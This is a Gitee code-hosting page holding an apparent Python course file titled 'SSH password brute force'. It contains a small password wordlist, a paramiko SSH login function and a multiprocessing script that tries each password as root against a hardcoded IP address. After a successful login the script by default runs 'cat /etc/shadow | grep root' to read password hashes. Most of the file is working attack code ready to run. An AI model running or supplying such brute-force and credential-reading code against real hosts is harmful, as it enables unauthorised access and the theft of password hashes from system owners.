1 Star 0 Fork 46

北冥有鱼在飞/qytang_Python

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
克隆/下载
2016.03.25 暴力破解SSH密码! 3.04 KB
一键复制 编辑 原始数据 按行查看 历史
现任明教教主-乾颐堂 提交于 2016-03-25 20:11 . new file
########################字典##############################
cisco
cisco1
cisco2
cisco3
cisco4
cisco5
cisco6
cisco7
cisco8
cisco9
cisco10
qytang1
qytang2
qytang3
qytang4
qytang5
qytang6
qytang7
qytang8
qytang9
qytang10
test1
test2
test3
test4
test5
test6
test7
test8
test9
test10
Cisc0123
#####################ssh连接方法##########################################
#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程!
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全(防火墙,IPS...)与Python语言和黑客渗透课程!
import paramiko
import re
def ssh_connect(connection_option):
try:
if len(connection_option) < 2:
print('参数错误:至少应该指派IP地址与密码')
elif len(connection_option) == 2:
ip = connection_option[0]
passwd = connection_option[1]
user = 'root'
cmd = 'cat /etc/shadow | grep root'
port = 22
elif len(connection_option) == 3:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = 'cat /etc/shadow | grep root'
port = 22
elif len(connection_option) == 4:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = connection_option[3]
port = 22
elif len(connection_option) == 5:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = connection_option[3]
port = connection_option[4]
else:
print('参数数量过多')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip,port,user,passwd,timeout=5)
stdin,stdout,stderr = ssh.exec_command(cmd)
x = stdout.read().decode()
ssh.close()
print('密码找到:' + passwd)
print('Root账号信息:'+ x)
except Exception as e:
if re.search('Authentication failed.', str(e)):
print('密码错误:' + passwd)
return (0,'密码错误')
else:
pass
ssh.close()
if __name__ == '__main__':
ssh_connect(['202.100.1.139','Cisc0123','root','uname -a',22])
##################ssh密码暴力破解脚本##########################################
#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程!
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全(防火墙,IPS...)与Python语言和黑客渗透课程!
import multiprocessing
from ssh import ssh_connect
def dos_ssh_root_passwd(ip,dict,user='root'):
ip_passwd = []
passwdfile = open(dict,'r').readlines()
for passwd in passwdfile:
ip_passwd.append((ip,passwd.strip(),user))
pool=multiprocessing.Pool(processes=3)
pool.map(ssh_connect,ip_passwd)
if __name__ == '__main__':
dos_ssh_root_passwd('202.100.1.139','dict.txt','root')
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
Python
1
https://gitee.com/grant5/qytang_Python.git
git@gitee.com:grant5/qytang_Python.git
grant5
qytang_Python
qytang_Python
master

搜索帮助